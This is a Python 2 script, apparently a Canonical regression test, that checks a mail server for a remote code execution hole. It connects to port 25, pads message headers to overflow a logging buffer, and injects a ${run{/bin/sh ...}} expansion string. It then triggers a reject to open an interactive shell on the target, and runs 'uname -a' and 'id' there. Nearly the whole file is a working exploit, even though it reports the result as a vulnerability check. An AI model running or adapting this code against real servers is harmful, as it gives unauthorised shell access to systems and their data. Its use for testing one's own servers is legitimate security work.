#!/usr/bin/env python
# Copyright 2010, Canonical, Ltd.
# Author: Kees Cook <kees@ubuntu.com>
# License: GPLv2

import socket, sys

HOST = sys.argv[1]
PORT = 25

try:
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
except socket.error, msg:
    sys.stderr.write("[ERROR] %s\n" % msg[1])
    sys.exit(1)

try:
    sock.settimeout(10)
    sock.connect((HOST, PORT))
except socket.error, msg:
    sys.stderr.write("[ERROR] %s\n" % msg[1])
    sys.exit(2)

def want(value, cmd=None):
    if cmd != None:
        sys.stdout.write("%s\n" % (cmd))
        sock.send("%s\n" % (cmd))
    data = sock.recv(1024)
    sys.stdout.write(data)
    final = data.splitlines().pop()
    if not final.startswith('%d ' % (value)):
        sys.stdout.write("*** Got '%s', wanted '%d' ***\n" % (final, value))
        sys.exit(5)
    return data

mail_from = '<root@localhost>'
rcpt_to   = '<postmaster@localhost>'
helo      = 'example.com'

want(220)
data = want(250, "EHLO %s" % (helo))
ident = data.splitlines()[0].split()
# Extract DNS details from helo response
sending_host = '%s (%s) %s' % (ident[2], helo, ident[3])

want(250, "MAIL FROM:%s" % (mail_from))
want(250, "RCPT TO:%s" % (rcpt_to))
want(354, "DATA")

# want to fill up to LOG_BUFFER_SIZE - 3 (%c %s) == 8192 - 3 == 8189
# and minus the logging header...
target = 8189
sent = len('''2010-12-10 11:48:15 1PR8wt-00063W-Sb rejected from %s H=%s: message too big: read=72108293 max=52428800
Envelope-from: %s
Envelope-to: %s
''' % (mail_from, sending_host, mail_from, rcpt_to))
send = target - sent
count = 0
padding = 3 # because of logging's "  " prefix and "\n" suffix
taunt = 'M4iLB0mb'
header = 'MAILbombhdr%04d: '
chunksize = len(header) + 120
amount = send
while amount > chunksize:
    prev = amount
    amount /= 2
chunksize = prev
chunksize = 100
#print "Chunk size: %d" % (chunksize)

#print "hit enter to continue"
#sys.stdin.readline()

while send > 0:
    count += 1
    #print "At position %d (%d to go)" % (sent, send)
    data = header % (count)
    perline = chunksize - padding
    data += taunt * chunksize

    # Down-regulate
    togo = send - padding
    if togo > perline:
        togo = perline
    # Fill hole for easier forward calculations
    left = sent % 100
    if left != 0:
        left = 100 - left
        if left < len(header) + (padding * 2):
            left += 100
        togo = left - padding
    data = data[0:togo]

    sock.send('%s\n' % (data))
    send -= len(data) + padding
    sent += len(data) + padding
    #print "(header %d) Wrote %d, consumed %d, at position %d (%d to go)" % (count, len(data), len(data) + padding, sent, send)

# This header will expand past the logging buffer
sys.stdout.write("Sending exploit header\n")
sock.send('HeaderX: ')
for j in range(50):
    for i in range(3, 13):
        sock.send("${run{/bin/sh -c 'exec /bin/sh -i <&%d >&0 2>&0'}}" % i)
sock.send("\n");

# Now trigger the "message too large" handler
sys.stdout.write("Sending body to trigger reject\n")
sock.send("\n");
for i in range(700000):
    sock.send(taunt * 10 + "\n")
sock.send(".\n")

want(552)
sock.settimeout(1)
trigger = "MAIL FROM:%s\n" % (mail_from)
sys.stdout.write(trigger)
sock.send(trigger)

final = ""
shell = False
hit = False
while True:
    try:
        data = sock.recv(1024)
    except:
        break
    sys.stdout.write(data)
    sys.stdout.flush()
    final += data
    if '/bin/sh' in final:
        shell = True
    if shell and not hit:
        sock.send("uname -a\n")
        sock.send("id\n")
        hit = True

sock.close()
if shell:
    print "\nSystem is vulnerable"
    sys.exit(1)
print "\nSystem appears safe"
sys.exit(0)
